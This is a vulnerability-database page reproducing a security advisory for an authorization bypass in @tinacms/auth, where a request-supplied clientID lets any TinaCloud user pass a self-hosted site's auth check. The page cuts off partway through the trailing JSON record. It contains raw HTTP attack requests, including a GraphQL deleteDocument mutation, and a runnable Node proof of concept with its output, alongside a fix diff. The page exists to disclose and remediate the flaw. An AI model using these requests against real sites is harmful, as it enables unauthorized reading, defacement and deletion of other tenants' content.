Vulnerability-Lookup

GHSA-G74Q-6G2F-874X

Vulnerability from github – Published: 2026-09-17 14:59 – Updated: 2026-09-17 14:59

Summary

Tina: [Broken Access Control] letting any TinaCloud user authorize against any self-hosted site

Details

Summary

@tinacms/auth's isAuthorized(req) decides authorization by validating the caller's bearer token against https://identity.tinajs.io/v2/apps/${req.query.clientID}/currentUser, where the clientID comes from the request and is never compared to the site's own configured TinaCloud app id. The function answers "is this token a verified user of whatever app the caller named?" instead of "is this token a verified user of THIS site?"

Any TinaCloud user can create their own free app, get a valid token for it, and send ?clientID=<their-own-app> plus Authorization: <their-own-token> to a victim self-hosted site. The victim's authorized callback runs const user = await isAuthorized(req); return user && user.verified, which returns true, and the victim authorizes the attacker.

The attacker holds no account on the victim and needs no victim interaction. With the media handlers this grants read, upload, and delete on the victim's media bucket. When the backend uses TinaCloudBackendAuthProvider() (the default the tinacms init wizard generates for TinaCloud auth), it grants full GraphQL read, write, and delete of the victim's content.

Affected code (confirmed at `5a6839f`)

packages/@tinacms/auth/src/index.ts:71-88 reads the clientID from the request:

export const isAuthorized = async (req: NextApiRequest) => {
  const clientID = req.query.clientID;     // attacker-controlled
  const token = req.headers.authorization; // attacker-controlled
  if (typeof clientID === 'string' && typeof token === 'string') {
    return await isUserAuthorized({ clientID, token });
  }
  return undefined;
};

index.ts:16-43 sends that caller-chosen clientID straight to the identity server, and returns the user on 200:

const tinaCloudRes = await fetch(
  `https://identity.tinajs.io/v2/apps/${clientID}/currentUser`,
  { headers: new Headers({ 'Content-Type': 'application/json', authorization: token }), method: 'GET' }
);
if (tinaCloudRes.ok) { return await tinaCloudRes.json(); }

index.ts:118-135 (TinaCloudBackendAuthProvider) gates only on verified, which reflects the attacker's own email verification:

isAuthorized: async (req, _res) => {
  const user = await isAuthorized(req as NextApiRequest);
  if (user && user.verified) return { isAuthorized: true };
  return { isAuthorized: false, errorCode: 401, errorMessage: 'Unauthorized' };
},

Every media-store README wires the same gate (next-tinacms-cloudinary/README.md:113-122, identical in s3 and dos):

authorized: async (req, _res) => {
  if (process.env.NEXT_PUBLIC_USE_LOCAL_CLIENT === '1') return true;
  const user = await isAuthorized(req);
  return user && user.verified;   // no clientID === <this site's app> check
}

The bug is duplicated in next-tinacms-azure/src/auth.ts:34-51 (req.nextUrl.searchParams.get('clientID')). Downstream nothing pins the site's clientID: @tinacms/datalayer/src/backend/index.ts:201 gates on the boolean, and next-tinacms-cloudinary/src/handlers.ts:36 returns 401 only when the callback is false. The tinacms init TinaCloud path ships this by default (@tinacms/cli/.../prompts/authProvider.ts:17 -> TinaCloudBackendAuthProvider(), used in templates/tinaNextRoute.tsx:21-24 for every non-local deployment).

Steps to reproduce (real target)

Setup: attacker has one free TinaCloud account with one app (clientID = ATTACKER_APP, token T_attacker) and no victim account. Victim is any self-hosted TinaCMS site using @tinacms/auth.

Media bucket (read; the same gate covers POST upload and DELETE):

GET /api/cloudinary/media?clientID=ATTACKER_APP HTTP/1.1
Host: victim.example
Authorization: T_attacker

Content backend, when TinaCloudBackendAuthProvider is used:

POST /api/tina/gql?clientID=ATTACKER_APP HTTP/1.1
Host: victim.example
Authorization: T_attacker
Content-Type: application/json

{"query":"mutation($c:String!,$r:String!){deleteDocument(collection:$c,relativePath:$r){__typename}}","variables":{"c":"post","r":"hello.md"}}

Expected: 401/403 for a user with no access to victim.example. Actual: 200, because authorization is bound to the attacker-supplied clientID.

Proof of concept (self-contained, zero dependencies)

Save the file below as poc.js and run node poc.js (Node >= 18). It runs the package's own isAuthorized / isUserAuthorized (TypeScript types removed; the hard-coded identity.tinajs.io base read from an env var so it points at a local identity model) behind the verbatim media-store authorized callback. The identity model scopes tokens to apps correctly and is not itself vulnerable; the bug is that the victim lets the caller choose which app to validate against.

/**
 * Self-contained PoC — @tinacms/auth cross-tenant authorization bypass
 * Audited commit: 5a6839f95ca60d1b9f4032a3bed1ae4a338a4787 (@tinacms/auth 1.1.3)
 *
 * Zero dependencies. Run with:  node poc.js   (Node >= 18 for global fetch)
 *
 * The two functions below are copied from packages/@tinacms/auth/src/index.ts.
 * The ONLY changes are: TypeScript types removed, and the hard-coded
 * https://identity.tinajs.io base read from IDENTITY_BASE so it can point at the
 * local identity model. req.query.clientID, the currentUser call, and the
 * `user && user.verified` gate are byte-for-byte the original logic.
 */

const http = require('http');

const IDENTITY_PORT = 18099;
const VICTIM_PORT = 19090;
process.env.IDENTITY_BASE = `http://127.0.0.1:${IDENTITY_PORT}`;

/* ===== verbatim from @tinacms/auth/src/index.ts (types stripped) ===== */

const isUserAuthorized = async (args) => {
  const clientID = args.clientID;
  const token = args.token;
  try {
    const tinaCloudRes = await fetch(
      `${process.env.IDENTITY_BASE || 'https://identity.tinajs.io'}/v2/apps/${clientID}/currentUser`,
      {
        headers: new Headers({ 'Content-Type': 'application/json', authorization: token }),
        method: 'GET',
      }
    );
    if (tinaCloudRes.ok) {
      const user = await tinaCloudRes.json();
      return user;
    }
    return;
  } catch (e) {
    console.error(e);
    throw e;
  }
};

const isAuthorized = async (req) => {
  const clientID = req.query.clientID;       // <-- attacker-controlled
  const token = req.headers.authorization;   // <-- attacker-controlled
  if (typeof clientID === 'string' && typeof token === 'string') {
    return await isUserAuthorized({ clientID, token });
  }
  return undefined;
};

/* ===== identity model: a token grants access to the app its owner owns =====
   This is NOT the vulnerable part. It scopes tokens to apps correctly. The bug
   is that the victim lets the caller choose which app to validate against.     */

const TOKEN_FOR = {
  'victim-app': 'valid-token-for-victim-app',
  'attacker-app': 'valid-token-for-attacker-app',
};
const USER_FOR = {
  'victim-app': { id: 'u-victim', email: 'owner@victim.example', verified: true, role: 'admin' },
  'attacker-app': { id: 'u-attacker', email: 'attacker@evil.example', verified: true, role: 'admin' },
};
const identity = http.createServer((req, res) => {
  const m = req.url.match(/^\/v2\/apps\/([^/]+)\/currentUser$/);
  if (!m) { res.writeHead(404); return res.end('nf'); }
  const app = decodeURIComponent(m[1]);
  if (TOKEN_FOR[app] && req.headers['authorization'] === TOKEN_FOR[app]) {
    res.writeHead(200, { 'Content-Type': 'application/json' });
    return res.end(JSON.stringify(USER_FOR[app]));
  }
  res.writeHead(401, { 'Content-Type': 'application/json' });
  return res.end(JSON.stringify({ message: 'unauthorized for this app' }));
});

/* ===== victim site (own clientID = victim-app), verbatim media-store README callback ===== */

const authorized = async (req) => {
  const user = await isAuthorized(req);
  return user && user.verified;             // never checks req.query.clientID === victim-app
};
const victim = http.createServer(async (req, res) => {
  const u = new URL(req.url, `http://127.0.0.1:${VICTIM_PORT}`);
  req.query = Object.fromEntries(u.searchParams.entries());
  if (!u.pathname.startsWith('/api/cloudinary/media')) { res.writeHead(404); return res.end('nf'); }
  if (!(await authorized(req))) {
    res.writeHead(401, { 'Content-Type': 'application/json' });
    return res.end(JSON.stringify({ message: 'sorry this user is unauthorized' }));
  }
  res.writeHead(200, { 'Content-Type': 'application/json' });
  return res.end(JSON.stringify({ authorized: true, site: 'victim-app',
    media: ['victim/private/contract.pdf', 'victim/private/customers.csv'] }));
});

/* ===== driver ===== */

function call(clientID, token) {
  return new Promise((resolve) => {
    const r = http.request({ host: '127.0.0.1', port: VICTIM_PORT,
      path: `/api/cloudinary/media?clientID=${encodeURIComponent(clientID)}`,
      method: 'GET', headers: { authorization: token } }, (res) => {
      let b = ''; res.on('data', (c) => (b += c));
      res.on('end', () => resolve({ status: res.statusCode, body: b }));
    });
    r.on('error', (e) => resolve({ status: 0, body: String(e) })); r.end();
  });
}

(async () => {
  await new Promise((r) => identity.listen(IDENTITY_PORT, '127.0.0.1', r));
  await new Promise((r) => victim.listen(VICTIM_PORT, '127.0.0.1', r));

  const c1 = await call('victim-app', 'valid-token-for-victim-app');
  console.log('[CONTROL 1  legit victim user      ] clientID=victim-app   token=victim   ->', c1.status, c1.body);

  const c2 = await call('victim-app', 'valid-token-for-attacker-app');
  console.log('[CONTROL 2  attacker token, victim ] clientID=victim-app   token=attacker ->', c2.status, c2.body);

  const atk = await call('attacker-app', 'valid-token-for-attacker-app');
  console.log('[ATTACK     attacker own app+token ] clientID=attacker-app token=attacker ->', atk.status, atk.body);

  const bug = c1.status === 200 && c2.status === 401 && atk.status === 200;
  console.log('\nVERDICT:', bug
    ? 'VULNERABLE — attacker authorized on victim site with credentials only for their own app.'
    : 'NOT REPRODUCED');
  identity.close(); victim.close();
  process.exit(bug ? 0 : 1);
})();

Output:

[CONTROL 1  legit victim user      ] clientID=victim-app   token=victim   -> 200 {"authorized":true,"site":"victim-app","media":[...]}
[CONTROL 2  attacker token, victim ] clientID=victim-app   token=attacker -> 401 {"message":"sorry this user is unauthorized"}
[ATTACK     attacker own app+token ] clientID=attacker-app token=attacker -> 200 {"authorized":true,"site":"victim-app","media":[...]}

VERDICT: VULNERABLE - attacker authorized on victim site with credentials only for their own app.

CONTROL 1 (200) shows the identity model is faithful, not a blanket allow. CONTROL 2 (401) shows the attacker cannot reach the victim's app with their own token. ATTACK (200) shows that naming their own app id, which their own token matches, passes the victim's gate and returns the victim's private media.

I verified the full chain in source at the audited commit and reproduced the code logic deterministically with the PoC above. I did not run the end-to-end attack against production identity.tinajs.io with two real accounts and a live deployment; that step needs two real accounts and a deployment. The one assumption it rests on, that GET /v2/apps/<attacker-app>/currentUser with the attacker's own token returns 200 + verified:true, is the normal behavior of an app owner's own session.

Impact

An attacker with a free TinaCloud account reaches editor-level control of unrelated tenants:

Media handlers: list and read media, upload arbitrary objects (next-tinacms-dos writes ACL: public-read, usable to host malware or phishing under the victim's CDN), and delete media by key.
TinaCloudBackendAuthProvider backend: arbitrary GraphQL. Read every document, createDocument / updateDocument to deface or inject content that deploys to production, and deleteDocument to destroy content. The attacker scripts requests with their own token and clientID=<own app> against known TinaCMS self-hosted endpoints, so it scales across deployments.

Fix

Bind the decision to the site's own configured app id instead of the request value.

- export const isAuthorized = async (req: NextApiRequest) => {
-   const clientID = req.query.clientID;
-   const token = req.headers.authorization;
+ export const isAuthorized = async (req: NextApiRequest, expectedClientID?: string) => {
+   const requestClientID = req.query.clientID;
+   const token = req.headers.authorization;
+   const clientID = expectedClientID ?? process.env.NEXT_PUBLIC_TINA_CLIENT_ID;
+   if (expectedClientID && requestClientID && requestClientID !== expectedClientID) {
+     return undefined; // refuse a cross-tenant clientID
+   }
    if (typeof clientID === 'string' && typeof token === 'string') {
      return await isUserAuthorized({ clientID, token });
    }
    return undefined;
  };

Thread the site's configured clientID into TinaCloudBackendAuthProvider() and the media handler config, require isUserAuthorized to use it rather than req.query.clientID, apply the same change to next-tinacms-azure/src/auth.ts, and update the media-store READMEs so integrators stop reintroducing the request-driven clientID.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@tinacms/auth"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 15.0.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "next-tinacms-azure"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "15.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63506"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-17T14:59:00Z",
    "nvd_published_at": "2026-09-16T21:17:13Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n \n`@tinacms/auth`\u0027s `isAuthorized(req)` decides authorization by validating the caller\u0027s bearer token against `https://identity.tinajs.io/v2/apps/${req.query.clientID}/currentUser`, where the `clientID` comes from the request and is never compared to the site\u0027s own configured TinaCloud app id. The function answers \"is this token a verified user of whatever app the caller named?\" instead of \"is this token a verified user of THIS site?\"\n \nAny TinaCloud user can create their own free app, get a valid token for it, and send `?clientID=\u003ctheir-own-app\u003e` plus `Authorization: \u003ctheir-own-token\u003e` to a victim self-hosted site. The victim\u0027s `authorized` callback runs `const user = await isAuthorized(req); return user \u0026\u0026 user.verified`, which returns `true`, and the victim authorizes the attacker.\n \nThe attacker holds no account on the victim and needs no victim interaction. With the media handlers this grants read, upload, and delete on the victim\u0027s media bucket. When the backend uses `TinaCloudBackendAuthProvider()` (the default the `tinacms init` wizard generates for TinaCloud auth), it grants full GraphQL read, write, and delete of the victim\u0027s content.\n\n## Affected code (confirmed at `5a6839f`)\n \n`packages/@tinacms/auth/src/index.ts:71-88` reads the `clientID` from the request:\n \n```ts\nexport const isAuthorized = async (req: NextApiRequest) =\u003e {\n  const clientID = req.query.clientID;     // attacker-controlled\n  const token = req.headers.authorization; // attacker-controlled\n  if (typeof clientID === \u0027string\u0027 \u0026\u0026 typeof token === \u0027string\u0027) {\n    return await isUserAuthorized({ clientID, token });\n  }\n  return undefined;\n};\n```\n \n`index.ts:16-43` sends that caller-chosen `clientID` straight to the identity server, and returns the user on `200`:\n \n```ts\nconst tinaCloudRes = await fetch(\n  `https://identity.tinajs.io/v2/apps/${clientID}/currentUser`,\n  { headers: new Headers({ \u0027Content-Type\u0027: \u0027application/json\u0027, authorization: token }), method: \u0027GET\u0027 }\n);\nif (tinaCloudRes.ok) { return await tinaCloudRes.json(); }\n```\n \n`index.ts:118-135` (`TinaCloudBackendAuthProvider`) gates only on `verified`, which reflects the attacker\u0027s own email verification:\n \n```ts\nisAuthorized: async (req, _res) =\u003e {\n  const user = await isAuthorized(req as NextApiRequest);\n  if (user \u0026\u0026 user.verified) return { isAuthorized: true };\n  return { isAuthorized: false, errorCode: 401, errorMessage: \u0027Unauthorized\u0027 };\n},\n```\n \nEvery media-store README wires the same gate (`next-tinacms-cloudinary/README.md:113-122`, identical in `s3` and `dos`):\n \n```ts\nauthorized: async (req, _res) =\u003e {\n  if (process.env.NEXT_PUBLIC_USE_LOCAL_CLIENT === \u00271\u0027) return true;\n  const user = await isAuthorized(req);\n  return user \u0026\u0026 user.verified;   // no clientID === \u003cthis site\u0027s app\u003e check\n}\n```\n \nThe bug is duplicated in `next-tinacms-azure/src/auth.ts:34-51` (`req.nextUrl.searchParams.get(\u0027clientID\u0027)`). Downstream nothing pins the site\u0027s `clientID`: `@tinacms/datalayer/src/backend/index.ts:201` gates on the boolean, and `next-tinacms-cloudinary/src/handlers.ts:36` returns 401 only when the callback is false. The `tinacms init` TinaCloud path ships this by default (`@tinacms/cli/.../prompts/authProvider.ts:17` -\u003e `TinaCloudBackendAuthProvider()`, used in `templates/tinaNextRoute.tsx:21-24` for every non-local deployment).\n \n## Steps to reproduce (real target)\n \n**Setup:** attacker has one free TinaCloud account with one app (`clientID = ATTACKER_APP`, token `T_attacker`) and no victim account. Victim is any self-hosted TinaCMS site using `@tinacms/auth`.\n \nMedia bucket (read; the same gate covers `POST` upload and `DELETE`):\n \n```\nGET /api/cloudinary/media?clientID=ATTACKER_APP HTTP/1.1\nHost: victim.example\nAuthorization: T_attacker\n```\n \nContent backend, when `TinaCloudBackendAuthProvider` is used:\n \n```\nPOST /api/tina/gql?clientID=ATTACKER_APP HTTP/1.1\nHost: victim.example\nAuthorization: T_attacker\nContent-Type: application/json\n \n{\"query\":\"mutation($c:String!,$r:String!){deleteDocument(collection:$c,relativePath:$r){__typename}}\",\"variables\":{\"c\":\"post\",\"r\":\"hello.md\"}}\n```\n \n**Expected:** 401/403 for a user with no access to `victim.example`.\n**Actual:** 200, because authorization is bound to the attacker-supplied `clientID`.\n \n## Proof of concept (self-contained, zero dependencies)\n \nSave the file below as `poc.js` and run `node poc.js` (Node \u003e= 18). It runs the package\u0027s own `isAuthorized` / `isUserAuthorized` (TypeScript types removed; the hard-coded `identity.tinajs.io` base read from an env var so it points at a local identity model) behind the verbatim media-store `authorized` callback. The identity model scopes tokens to apps correctly and is not itself vulnerable; the bug is that the victim lets the caller choose which app to validate against.\n \n```js\n/**\n * Self-contained PoC \u2014 @tinacms/auth cross-tenant authorization bypass\n * Audited commit: 5a6839f95ca60d1b9f4032a3bed1ae4a338a4787 (@tinacms/auth 1.1.3)\n *\n * Zero dependencies. Run with:  node poc.js   (Node \u003e= 18 for global fetch)\n *\n * The two functions below are copied from packages/@tinacms/auth/src/index.ts.\n * The ONLY changes are: TypeScript types removed, and the hard-coded\n * https://identity.tinajs.io base read from IDENTITY_BASE so it can point at the\n * local identity model. req.query.clientID, the currentUser call, and the\n * `user \u0026\u0026 user.verified` gate are byte-for-byte the original logic.\n */\n \nconst http = require(\u0027http\u0027);\n \nconst IDENTITY_PORT = 18099;\nconst VICTIM_PORT = 19090;\nprocess.env.IDENTITY_BASE = `http://127.0.0.1:${IDENTITY_PORT}`;\n \n/* ===== verbatim from @tinacms/auth/src/index.ts (types stripped) ===== */\n \nconst isUserAuthorized = async (args) =\u003e {\n  const clientID = args.clientID;\n  const token = args.token;\n  try {\n    const tinaCloudRes = await fetch(\n      `${process.env.IDENTITY_BASE || \u0027https://identity.tinajs.io\u0027}/v2/apps/${clientID}/currentUser`,\n      {\n        headers: new Headers({ \u0027Content-Type\u0027: \u0027application/json\u0027, authorization: token }),\n        method: \u0027GET\u0027,\n      }\n    );\n    if (tinaCloudRes.ok) {\n      const user = await tinaCloudRes.json();\n      return user;\n    }\n    return;\n  } catch (e) {\n    console.error(e);\n    throw e;\n  }\n};\n \nconst isAuthorized = async (req) =\u003e {\n  const clientID = req.query.clientID;       // \u003c-- attacker-controlled\n  const token = req.headers.authorization;   // \u003c-- attacker-controlled\n  if (typeof clientID === \u0027string\u0027 \u0026\u0026 typeof token === \u0027string\u0027) {\n    return await isUserAuthorized({ clientID, token });\n  }\n  return undefined;\n};\n \n/* ===== identity model: a token grants access to the app its owner owns =====\n   This is NOT the vulnerable part. It scopes tokens to apps correctly. The bug\n   is that the victim lets the caller choose which app to validate against.     */\n \nconst TOKEN_FOR = {\n  \u0027victim-app\u0027: \u0027valid-token-for-victim-app\u0027,\n  \u0027attacker-app\u0027: \u0027valid-token-for-attacker-app\u0027,\n};\nconst USER_FOR = {\n  \u0027victim-app\u0027: { id: \u0027u-victim\u0027, email: \u0027owner@victim.example\u0027, verified: true, role: \u0027admin\u0027 },\n  \u0027attacker-app\u0027: { id: \u0027u-attacker\u0027, email: \u0027attacker@evil.example\u0027, verified: true, role: \u0027admin\u0027 },\n};\nconst identity = http.createServer((req, res) =\u003e {\n  const m = req.url.match(/^\\/v2\\/apps\\/([^/]+)\\/currentUser$/);\n  if (!m) { res.writeHead(404); return res.end(\u0027nf\u0027); }\n  const app = decodeURIComponent(m[1]);\n  if (TOKEN_FOR[app] \u0026\u0026 req.headers[\u0027authorization\u0027] === TOKEN_FOR[app]) {\n    res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n    return res.end(JSON.stringify(USER_FOR[app]));\n  }\n  res.writeHead(401, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n  return res.end(JSON.stringify({ message: \u0027unauthorized for this app\u0027 }));\n});\n \n/* ===== victim site (own clientID = victim-app), verbatim media-store README callback ===== */\n \nconst authorized = async (req) =\u003e {\n  const user = await isAuthorized(req);\n  return user \u0026\u0026 user.verified;             // never checks req.query.clientID === victim-app\n};\nconst victim = http.createServer(async (req, res) =\u003e {\n  const u = new URL(req.url, `http://127.0.0.1:${VICTIM_PORT}`);\n  req.query = Object.fromEntries(u.searchParams.entries());\n  if (!u.pathname.startsWith(\u0027/api/cloudinary/media\u0027)) { res.writeHead(404); return res.end(\u0027nf\u0027); }\n  if (!(await authorized(req))) {\n    res.writeHead(401, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n    return res.end(JSON.stringify({ message: \u0027sorry this user is unauthorized\u0027 }));\n  }\n  res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n  return res.end(JSON.stringify({ authorized: true, site: \u0027victim-app\u0027,\n    media: [\u0027victim/private/contract.pdf\u0027, \u0027victim/private/customers.csv\u0027] }));\n});\n \n/* ===== driver ===== */\n \nfunction call(clientID, token) {\n  return new Promise((resolve) =\u003e {\n    const r = http.request({ host: \u0027127.0.0.1\u0027, port: VICTIM_PORT,\n      path: `/api/cloudinary/media?clientID=${encodeURIComponent(clientID)}`,\n      method: \u0027GET\u0027, headers: { authorization: token } }, (res) =\u003e {\n      let b = \u0027\u0027; res.on(\u0027data\u0027, (c) =\u003e (b += c));\n      res.on(\u0027end\u0027, () =\u003e resolve({ status: res.statusCode, body: b }));\n    });\n    r.on(\u0027error\u0027, (e) =\u003e resolve({ status: 0, body: String(e) })); r.end();\n  });\n}\n \n(async () =\u003e {\n  await new Promise((r) =\u003e identity.listen(IDENTITY_PORT, \u0027127.0.0.1\u0027, r));\n  await new Promise((r) =\u003e victim.listen(VICTIM_PORT, \u0027127.0.0.1\u0027, r));\n \n  const c1 = await call(\u0027victim-app\u0027, \u0027valid-token-for-victim-app\u0027);\n  console.log(\u0027[CONTROL 1  legit victim user      ] clientID=victim-app   token=victim   -\u003e\u0027, c1.status, c1.body);\n \n  const c2 = await call(\u0027victim-app\u0027, \u0027valid-token-for-attacker-app\u0027);\n  console.log(\u0027[CONTROL 2  attacker token, victim ] clientID=victim-app   token=attacker -\u003e\u0027, c2.status, c2.body);\n \n  const atk = await call(\u0027attacker-app\u0027, \u0027valid-token-for-attacker-app\u0027);\n  console.log(\u0027[ATTACK     attacker own app+token ] clientID=attacker-app token=attacker -\u003e\u0027, atk.status, atk.body);\n \n  const bug = c1.status === 200 \u0026\u0026 c2.status === 401 \u0026\u0026 atk.status === 200;\n  console.log(\u0027\\nVERDICT:\u0027, bug\n    ? \u0027VULNERABLE \u2014 attacker authorized on victim site with credentials only for their own app.\u0027\n    : \u0027NOT REPRODUCED\u0027);\n  identity.close(); victim.close();\n  process.exit(bug ? 0 : 1);\n})();\n```\n \nOutput:\n \n```\n[CONTROL 1  legit victim user      ] clientID=victim-app   token=victim   -\u003e 200 {\"authorized\":true,\"site\":\"victim-app\",\"media\":[...]}\n[CONTROL 2  attacker token, victim ] clientID=victim-app   token=attacker -\u003e 401 {\"message\":\"sorry this user is unauthorized\"}\n[ATTACK     attacker own app+token ] clientID=attacker-app token=attacker -\u003e 200 {\"authorized\":true,\"site\":\"victim-app\",\"media\":[...]}\n \nVERDICT: VULNERABLE - attacker authorized on victim site with credentials only for their own app.\n```\n \nCONTROL 1 (200) shows the identity model is faithful, not a blanket allow. CONTROL 2 (401) shows the attacker cannot reach the victim\u0027s app with their own token. ATTACK (200) shows that naming their own app id, which their own token matches, passes the victim\u0027s gate and returns the victim\u0027s private media.\n \nI verified the full chain in source at the audited commit and reproduced the code logic deterministically with the PoC above. I did not run the end-to-end attack against production `identity.tinajs.io` with two real accounts and a live deployment; that step needs two real accounts and a deployment. The one assumption it rests on, that `GET /v2/apps/\u003cattacker-app\u003e/currentUser` with the attacker\u0027s own token returns `200` + `verified:true`, is the normal behavior of an app owner\u0027s own session.\n\n## Impact\n \nAn attacker with a free TinaCloud account reaches editor-level control of unrelated tenants:\n \n- **Media handlers:** list and read media, upload arbitrary objects (`next-tinacms-dos` writes `ACL: public-read`, usable to host malware or phishing under the victim\u0027s CDN), and delete media by key.\n- **`TinaCloudBackendAuthProvider` backend:** arbitrary GraphQL. Read every document, `createDocument` / `updateDocument` to deface or inject content that deploys to production, and `deleteDocument` to destroy content.\nThe attacker scripts requests with their own token and `clientID=\u003cown app\u003e` against known TinaCMS self-hosted endpoints, so it scales across deployments.\n \n## Fix\n \nBind the decision to the site\u0027s own configured app id instead of the request value.\n \n```diff\n- export const isAuthorized = async (req: NextApiRequest) =\u003e {\n-   const clientID = req.query.clientID;\n-   const token = req.headers.authorization;\n+ export const isAuthorized = async (req: NextApiRequest, expectedClientID?: string) =\u003e {\n+   const requestClientID = req.query.clientID;\n+   const token = req.headers.authorization;\n+   const clientID = expectedClientID ?? process.env.NEXT_PUBLIC_TINA_CLIENT_ID;\n+   if (expectedClientID \u0026\u0026 requestClientID \u0026\u0026 requestClientID !== expectedClientID) {\n+     return undefined; // refuse a cross-tenant clientID\n+   }\n    if (typeof clientID === \u0027string\u0027 \u0026\u0026 typeof token === \u0027string\u0027) {\n      return await isUserAuthorized({ clientID, token });\n    }\n    return undefined;\n  };\n```\n \nThread the site\u0027s configured `clientID` into `TinaCloudBackendAuthProvider()` and the media handler config, require `isUserAuthorized` to use it rather than `req.query.clientID`, apply the same change to `next-tinacms-azure/src/auth.ts`, and update the media-store READMEs so integrators stop reintroducing the request-driven `clientID`.",
  "id": "GHSA-g74q-6g2f-874x",
  "modified": "2026-09-17T14:59:00Z",
  "published": "2026-09-17T14:59:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-g74q-6g2f-874x"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63506"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/pull/7168"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/commit/0a927a4f8d228dd05ee7ca4be32899bc190e73af"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tinacms/tinacms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/releases/tag/@tinacms/auth@1.1.4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tinacms/tinacms/releases/tag/next-tinacms-azure@15.0.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Tina: [Broken Access Control] letting any TinaCloud user authorize against any self-hosted site"
}

CVE-2026-63506 (GCVE-0-2026-63506)

Vulnerability from cvelistv5 – Published: 2026-09-16 20:27 – Updated: 2026-09-17 15:54

Title

Tina: [Broken Access Control] letting any TinaCloud user authorize against any self-hosted site

Summary

Tina is a headless content management system. Prior to @tinacms/auth 1.1.4 and next-tinacms-azure 15.0.1, isAuthorized accepts a request-controlled clientID and asks isUserAuthorized to validate the bearer token against that selected TinaCloud app instead of the self-hosted site's configured app. An attacker with any TinaCloud account can submit the attacker's own app ID and valid token to a victim endpoint, causing TinaCloudBackendAuthProvider or an affected media authorized callback to accept the attacker's verified status across the tenant boundary. The vulnerable logic is present in packages/@tinacms/auth/src/index.ts and packages/next-tinacms-azure/src/auth.ts. Successful exploitation permits media listing, reading, upload, or deletion and, when TinaCloudBackendAuthProvider is used, GraphQL read, create, update, and delete operations on the victim's content without a victim account or victim interaction. This vulnerability is fixed in @tinacms/auth 1.1.4 and next-tinacms-azure 15.0.1.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-17 15:54 UTC

CWE

CWE-639 - Authorization Bypass Through User-Controlled Key

Assigner

GitHub_M mitre root

References

5 references

URL	Tags
https://github.com/tinacms/tinacms/security/advis…	x_refsource_CONFIRM
https://github.com/tinacms/tinacms/pull/7168	x_refsource_MISC
https://github.com/tinacms/tinacms/commit/0a927a4…	x_refsource_MISC
https://github.com/tinacms/tinacms/releases/tag/@…	x_refsource_MISC
https://github.com/tinacms/tinacms/releases/tag/n…	x_refsource_MISC

Impacted products

3 products

Vendor	Product	Version
tinacms	tinacms	Affected: < 1.1.4
@tinacms	auth	Affected: < 1.1.4
tinacms	next-tinacms-azure	Affected: < 15.0.1

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-63506",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-17T15:54:06.674922Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-17T15:54:38.071Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/tinacms/tinacms/security/advisories/GHSA-g74q-6g2f-874x"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "tinacms",
          "vendor": "tinacms",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.1.4"
            }
          ]
        },
        {
          "product": "auth",
          "vendor": "@tinacms",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 1.1.4"
            }
          ]
        },
        {
          "product": "next-tinacms-azure",
          "vendor": "tinacms",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 15.0.1"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
